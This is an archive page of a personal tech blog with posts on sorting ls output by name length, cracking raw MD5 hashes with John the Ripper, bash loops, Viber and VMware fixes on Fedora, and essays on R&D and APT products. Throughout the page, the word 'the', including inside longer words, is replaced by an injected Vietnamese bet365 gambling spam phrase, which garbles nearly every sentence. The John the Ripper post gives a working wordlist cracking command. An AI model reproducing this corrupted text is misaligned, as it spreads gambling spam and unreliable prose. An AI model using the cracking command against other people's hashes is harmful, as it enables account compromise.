Showing posts with label english. Show all posts
Showing posts with label english. Show all posts

Thursday, August 22, 2019

List directory sorted by length of names in it

So, for whatever reason, while running ls command, I wanted my directory to be sorted by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 names in it, not by some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r sorting method ls uses. After a bit of trial and error experimenting, I ended up with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following pipeline to do that:
for i in *; do echo `echo "$i" | wc -c` "$i"; done | sort -n | cut -f2- -d" " | xargs -d \\n ls -Uld
Let's break this command into peaces and describe what it does.

The first compound command starting with for and ending with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first pipe character has a task to output length of a name following by a space and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n by name itself. You can try to run it within some directory and what you'll get will look similar to this:
1 a
4 name
7 testing
2 ab
What we've got is something to sort on (number a.k.a. length) and we keep name as well since we need it for later.

The next command in pipeline will sort this output so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shortest name is first, following cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 longer ones and finally ending up with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 longest name, i.e. we'll get
1 a
2 ab
4 name
7 testing
Since we have now sorted names we don't need length any more and thus we get rid of it using cut command as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next command in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipeline. The output after cut command will look like this:
a
ab
name
testing
Now, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are no spaces in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 names, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it's easy, just hand over this list to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ls command. The command would cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n look like this:
ls -Uld `for i in *; do echo `echo "$i" | wc -c` "$i"; done | sort -n | cut -f2- -d" "`
Note backticks before for and at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command line! The options U, l and d cause ls not to sort anything (U), to provide long output (l) and not to list content of directories (d).

But, in case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are spaces in names, this will fail horribly, as many ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r things do when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y encounter spaces in names. So, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trick used in this case was to employ xargs command that collects standard input and runs command with certain number of arguments collected from stdin. The xarg command is
xargs -d \\n ls -Uld
In this command with option d we are telling xargs that delimiter between arguments is new line, and not space which is default setting. The rest of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 line xargs takes as-is and just adds arguments and runs a command.

And that's it!

By cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way, I also unsuccessfully tried to collect arguments into array by reading names with while loop (and read command). The problem is that any variable being set within while command is lost after while finishes and I didn't managed to pass this out of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 while loop.

Wednesday, July 4, 2018

Cracking raw MD5 hashes with John cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Ripper

I just spent at least 15 minutes trying to figure out why every single post on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet tells me to place MD5 hash in a file and call John like this
john --format=raw-md5 --wordlist=/usr/share/dict/words md5.txt
and yet, it constantly gives me an error message:
No password hashes loaded (see FAQ)
The content of md5.txt was:
20E11C279CE49BCC51EDC8041B8FAAAA
I even tried prepending dummy user before this hash, like this:
dummyuser: 20E11C279CE49BCC51EDC8041B8FAAAA
but without any luck.

And of course I have extended version of John cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Ripper that support raw-md5 format.

It turned out that John doesn't support capital letters in hash value! They have to be written in small letters like this:
20e11c279ce49bcc51edc8041b8fbbb6
after that change, everything worked like a charm. What a stupid error!?

Wednesday, August 30, 2017

Difference between command substitution and 'while read' in bash

I just changed one of my scripts that, in principle, looked like this:
for i in `find . -type d`
do
     # do some processing on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 found directory
done
The new format I use is:
find . -type d | while read i
do
    # do some processing on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 found directory
done
While both versions will work in general, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second variant is better for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following reasons:
  1. It's faster. Namely, in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 find command has to finish before processing on directories starts. This isn't noticeable for small directory hierarchies, but it becomes very noticeable for large ones. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 find command outputs results and in parallel while loop picks cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m up and does processing.
  2. In case you have spaces embedded in directory names, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second version will work, while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first won't.
Maybe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r advantages (or disadvantages) of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second version, but none I can remember at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 moment. If you know any, please write it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comments!

Tuesday, August 22, 2017

Viber and Fedora 26 SSL errors

I just downloaded and updated Viber on my Fedora. When I tied to start it, it seg faulted with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following errors:
QSqlDatabasePrivate::removeDatabase: connection 'ConfigureDBConnection' is still in use, all queries will cease to work.
Qt WebEngine ICU data not found at /opt/viber/resources. Trying parent directory...
Qt WebEngine resources not found at /opt/viber/resources. Trying parent directory...
Qt WebEngine ICU data not found at /opt/viber/resources. Trying parent directory...
Qt WebEngine resources not found at /opt/viber/resources. Trying parent directory...
qt.network.ssl: QSslSocket: cannot resolve CRYPTO_num_locks
qt.network.ssl: QSslSocket: cannot resolve CRYPTO_set_id_callback
qt.network.ssl: QSslSocket: cannot resolve CRYPTO_set_locking_callback
qt.network.ssl: QSslSocket: cannot resolve ERR_free_strings
qt.network.ssl: QSslSocket: cannot resolve EVP_CIPHER_CTX_cleanup
qt.network.ssl: QSslSocket: cannot resolve EVP_CIPHER_CTX_init
qt.network.ssl: QSslSocket: cannot resolve sk_new_null
qt.network.ssl: QSslSocket: cannot resolve sk_push
qt.network.ssl: QSslSocket: cannot resolve sk_free
qt.network.ssl: QSslSocket: cannot resolve sk_num
qt.network.ssl: QSslSocket: cannot resolve sk_pop_free
qt.network.ssl: QSslSocket: cannot resolve sk_value
qt.network.ssl: QSslSocket: cannot resolve SSL_library_init
qt.network.ssl: QSslSocket: cannot resolve SSL_load_error_strings
qt.network.ssl: QSslSocket: cannot resolve SSL_get_ex_new_index
qt.network.ssl: QSslSocket: cannot resolve SSLv23_client_method
qt.network.ssl: QSslSocket: cannot resolve SSLv23_server_method
qt.network.ssl: QSslSocket: cannot resolve X509_STORE_CTX_get_chain
qt.network.ssl: QSslSocket: cannot resolve OPENSSL_add_all_algorithms_noconf
qt.network.ssl: QSslSocket: cannot resolve OPENSSL_add_all_algorithms_conf
qt.network.ssl: QSslSocket: cannot resolve SSLeay
qt.network.ssl: QSslSocket: cannot resolve SSLeay_version
qt.network.ssl: QSslSocket: cannot call unresolved function CRYPTO_num_locks
qt.network.ssl: QSslSocket: cannot call unresolved function CRYPTO_set_id_callback
qt.network.ssl: QSslSocket: cannot call unresolved function CRYPTO_set_locking_callback
qt.network.ssl: QSslSocket: cannot call unresolved function SSL_library_init
qt.network.ssl: QSslSocket: cannot call unresolved function SSLv23_client_method
qt.network.ssl: QSslSocket: cannot call unresolved function sk_num
Segmentation fault (core dumped)
After some digging cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 solution was simple, just execute cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following command and it should work afterwards:
sudo ln -s /usr/lib64/libssl.so.10 /opt/viber/lib/libssl.so

Wednesday, July 19, 2017

When superstitious are good...

I just read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following paper:
Nunn, Nathan, and Raul Sanchez de la Sierra. Why Being Wrong can be Right: Magical Warfare Technologies and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Persistence of False Beliefs. No. w23207. National Bureau of Economic Research, 2017.
and I find it very interesting. Basically it is about why superstitions are good in certain cases. In this paper cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author analyzes a case of a village in a Democratic Republic Congo. Namely, due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 unstable political situation cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are lot of violence done  by different military groups that regularly attack villages. To protect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves people in some villages believe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can be made resistant to bullets by strictly following a special magical procedure. It's obviously false but in case someone dies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y prescribe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fault to not following this special magical procedure. This sounds crazy, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 effect is interesting. While it hurts individuals, it helps cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 collective since more people are willing to engage in defending villages with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end result of having 2 years of peace in this specific village that was brought as an example.

The key is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 utility of individual increases by everyone contributing to defense, but decreases when individual invests more. This, in effect, means that everyone will not invest cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best he can and thus cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 collective will suffer! The superstition encourages everyone to give cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can thus helping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 collective. This is brilliant!

This result provokes some thinking as to whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r some superstitions that I find annoying are actually beneficial, like religion for example. 

Sunday, July 16, 2017

Fedora 26 (kernel 4.11.9) and VMWare Workstation 12.5.7

I just upgraded Fedora 25 to Fedora 26 and of course cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a problem with VMWare Workstation. If you try to start vmware binary, it just silently fails. Anyway, I managed to find a solution here. In essence it is necessary to replace two share libraries and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n manually compile vmmon and vmnet modules. The reason for this is that on Fedora GCC 7.1 is used which is a newer compiler that used to compile VMWare. So, to replace libraries, type:
# cp -r /usr/lib/vmware-installer/2.1.0/lib/lib/libexpat.so.0 /usr/lib/vmware/lib
# cd /usr/lib/vmware/lib/libz.so.1
# mv -i libz.so.1 libz.so.1.old
# ln -s /usr/lib64/libz.so.1 .
And to compile vmmon and vmnet you have to go into /usr/lib/vmware/modules/sources directory and unpack vmnet.tar and vmmon.tar files. Then, in each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m, issue make command. Finally, files ending with .ko move to /lib/modules/`uname -r`/misc (create it if necessary) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n run 'depmod -a' command. I also had to manually load those modules with 'modprobe vmnet' and 'modprobe vmmon' commands.

The only problem I noticed so far is that after inserting vmnet kernel module network interfaces are not automatically created. To fix that just run vmware-netcfg command and save configuration. After that, everything should be OK.

Sunday, May 21, 2017

The role of scientific conferences in R&D

In this post I'm dealing with a very important question from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 perspective of a person managing or financing R&D, how does one know how well is R&D performing? If your thought was that you'll measure it by economic success of a product that uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results of R&D cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you are on a wrong track. Namely, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product can be success or a failure because of a number of reasons, of which R&D is only one. So, anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r way has to be used, and actually this question is very hard. In this post I'll try to point you to a possible solution along with some of its negative sides. Before continuing, just to reiterate that this post is from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 perspective of a person managing or financing R&D.

The best possible solution would be that you absolutely trust all your researchers and that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y produce only cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best results. But this is idealistic case, namely cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are no perfect researchers, and even cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best ones could produce mediocre results if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are under sufficiently high pressure. So, some form of quality assurance is necessary.

The next best solution would be for you to check what every researcher did and evaluate it by yourself, after all, whom do you trust more than yourself? But this approach also has problems, and not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 small ones:
  1. When good researchers does something, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only way to track him would be to do cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same things he does, and that means doing his job. 
  2. Even if you would know so much to be able to analyze how someone does his or her job, that wouldn't scale.
  3. Finally, people tend to hate micromanagement, and this would be micromanagement.
So, this approach also wouldn't work. Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r approach would be to assign for each researcher anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r person that would check his work. But this has almost cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same problems as if you are doing everything by yourself. Especially problematic could be potential collusion between researchers, i.e. one praises ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r's work knowing that his own work will be reviewed, too. So, reviewers might have incentive to praise each ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r's work.

Thus, it is necessary to have review, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 point of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 review is to be independent, done by an expert that knows cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 topic being reviewed and trying to be as objective as possible. You can pay independent researchers for doing review, but that's not done. What's done instead is sending papers to scientific conferences and journals where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are reviewed before being published. The review process is such that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 authors don't know who reviewed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir paper (blind review) or even reviewers don't know who's paper cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are reviewing (double blind review). Before being published in a journal or on a conference, papers have to pass review process and authors are notified about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 decision along with receiving reviewers' comments.

So, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a way you can receive feedback about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 work done by your researchers by sending cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to conferences or requiring cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to publish in journals. But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are additional benefits as well:
  1. Even if your researches have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best intention of producing top class results, it is good to have a feedback. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reviews cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re could be suggestions on how to improve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 work.
  2. By participating on conferences your researchers build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir professional network from people doing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same or similar things and that might be very helpful on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 long run.
  3. You should not forget marketing aspects of scientific publications. Namely, this makes you and your people known as an organization that does research and supports cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir researchers which might attract new researchers and employees.
Many companies having serious R&D do publish on scientific conferences and in journals and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y put on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir Web pages lists of published works, here are some:
There are many ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs, and I might add more to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list later.

One very important thing before I continue. People tend to think that I say that publications are mean and a goal and thus are opposing to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 idea of publishing on a scientific conferences. But that's not true. Publications are only a side-product of a work who's goal is to produce something new that could be used to improve company's products!

But, nothing is perfect and so this approach has some issues you have to be aware of:
  1. There are a huge number of conferences in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 world many of which are at best average. You should strive to go to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best ones because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re you'll receive cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best feedback and also meet people that are more likely to be researching things that interest you. Which conferences are those depends on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specific research area and you have to search for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m, but as a general rule of thumb cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lower acceptance ratio, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 better conference.
  2. As I've said, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 papers are only a side-product of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual work done. But, if too great emphasize is put on conference/journal publication, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n researchers start to optimize that criteria instead of doing a good work.
  3. You should be careful what you publish in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 papers. The moment its published, effectively it's a public knowledge. This is very good from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 society perspective, but it might not be so good from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 perspective of a company.
  4. Publication on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 conference is not so cheap. You have to pay conference fee, travel and accommodation expenses, and maybe few more things. This builds up very quickly.
  5. Publication in a journal might cost nothing, but it can take time, up to 18 months. The review process for conferences is several months at most.
But in any case, I think that companies should publish as much as possible on a good conferences or in good journals as it has more benefits than drawbacks.

Thursday, May 18, 2017

What is R&D according to OECD

In my previous post I wrote about my personal opinion what is R&D. In this post I'm going to analyze definition given by OECD, which might be argued to be a relevant authority for such topics. OECD produces for decades a document called Frascati Manual which is about collecting and reporting data about R&D. The latest version is from 2015 and that one is used as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basis for this post. The manual, in Chapter 2, describes what R&D is. Basically cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y say that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 properties of R&D activity are (paragraph 2.7):
  1. novel,
  2. creative,
  3. uncertain,
  4. systematic, and
  5. transferable and/or reproducible.
and activity has to satisfy all those properties to be regarded as R&D activity.

Property of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 novelty can be correlated with properties 1 and 2 given in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post with my opinion. The following citations are interesting or important from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 manual:
  1. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Business enterprise sector, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 potential  novelty of R&D projects has to be assessed by comparison with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing stock of knowledge in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 industry. [paragraph 2.15]
  2. The R&D activity within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 project must result in findings that are new to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 business and not already in use in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 industry. [paragraph 2.15]
Those two citations mean that if you do something that anyone already does, or that anyone can do in a relatively short period of time, than it's not a product of R&D activity.

The property of creativity, i.e. cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results of activities are based on original, not obvious, concepts and hypocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ses can be correlated with property 2 given in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post with my opinion. The following excerpt is interesting:
An R&D project requires cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contribution of a researcher!
This means that whoever is doing R&D has to have trained researches  in stuff.

The property of uncertainty, i.e. it is uncertain about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final outcome, has a direct relation to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 property 5 in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post. The difference is that OECD publication claims that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are multiple dimensions to this property:
For R&D in general, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is uncertainty about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 costs, or time, needed to achieve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 expected  results, as well as about whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r its objectives can be achieved to any degree at all. [paragraph 2.18].
Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is discrimination criteria between R&D and non-R&D activities:
Uncertainty is a key criterion when making a distinction between R&D prototyping (models used to test technical concepts and technologies with a high risk of failure, in terms of applicability) and non-R&D prototyping (preproduction units used to obtain technical or legal certifications). [paragraph 2.18]
So, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more certain you are that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re will be some functionality in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final product, less it is R&D activity!

The systematic property of R&D, i.e. to be planned and budgeted, correlates with property 4 I gave in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous post. This, also includes keeping records, not only planning.

The final property, i.e. to lead to results that could be possibly reproduced (transferable and/or reproducible) is most interesting and I didn't include it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 elaboration of my opinion. Namely, this requires that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results be published somewhere so that conclusions can be independently verified. Somehow, it seems to me that this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least frequent property. If nothing else, because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scientific output of companies is very small. Someone can claim here that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are publishing somewhere else, why only scientific output? The point is that under cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 expression scientific output I"m referring on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results are published, not where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are published. In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r words, scientific publication includes all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 necessary information in order for someone else to test cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results.


For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, just let mi note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r important subdivision of R&D according to OECD publication (paragraph 2.9):

  1. basic research,
  2. applied research, and
  3. experimental development.

I'll write about those in some future post.

Using astrology to protect from APTs

Probably when you saw cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 title, your reaction was WTF?! Using astrology for APT detection, that's totally crazy! But, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sad fact is that it isn't so crazy after all because large number of products that are offered on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 market claim that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are protecting you from APTs in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same way astrology claims it can predict your future.

To elaborate a bit more this claim, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key question is how do you know it's true that protection works? We can rephrase this question into anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r one: What process did manufacturers use to prove, beyond reasonable doubt, that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir products are capable of detecting APTs? Did cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y publish somewhere what/how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y did it? Also, since nothing is perfect, its obvious that no solution will detect all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cases. In how many cases will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 products detect APTs, and again, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y provide such numbers, how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y came up to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m? What is precision, and what is recall? Anyway, this is not published so it is something you have to go buy on trust, not on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 numbers and experiments.

Even more, in astrology if things turn out to be different, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 person doing prediction changes story somehow, for example he/she didn't know some crucial information which made cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 prediction wrong, or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y predict in such a way that no matter what happens, it will be true. In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r words, you can never falsify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 astrology and that is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main reason it isn't science. But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same reasoning goes for products that protect you from APTs, too. Eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y protect you or not you have no way of knowing weacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r that was a pure luck or in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case of detection if this was something deliberately designed into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product.

So, to conclude, I don't think that majority of products for APT protection are nothing more than application of astrology to cyber security!

Thursday, April 13, 2017

What is R&D and why should SMEs have one?

In this post I would like to describe what is R&D. This is a continuation of a more general idea of cooperation between industry, academia and government about what I wrote in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous post. By describing what is R&D I hope also to answer cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post's title, why SMEs should have one. In doing so, I'm not going to give formal definitions for now but only my opinion, while definitions I'll leave for anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r post. Before continuing, I must stress again that I'm not an expert on this subject nor I represent my employer. As such, this is purely my opinion which might be completely wrong. That said, obviously, I don't believe I'm wrong in general though I accept that some ideas might not be well thought out.

I'll start by enumerating several intuitive properties I expect from R&D, looking from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 perspective of a company having or wanting to have one:
  1. It adds some new value which can be monetized in some way.
  2. The new value should not be easy to obtain.
  3. It is a midterm process.
  4. It is a process that should be done methodologically with clearly defined steps and goals.
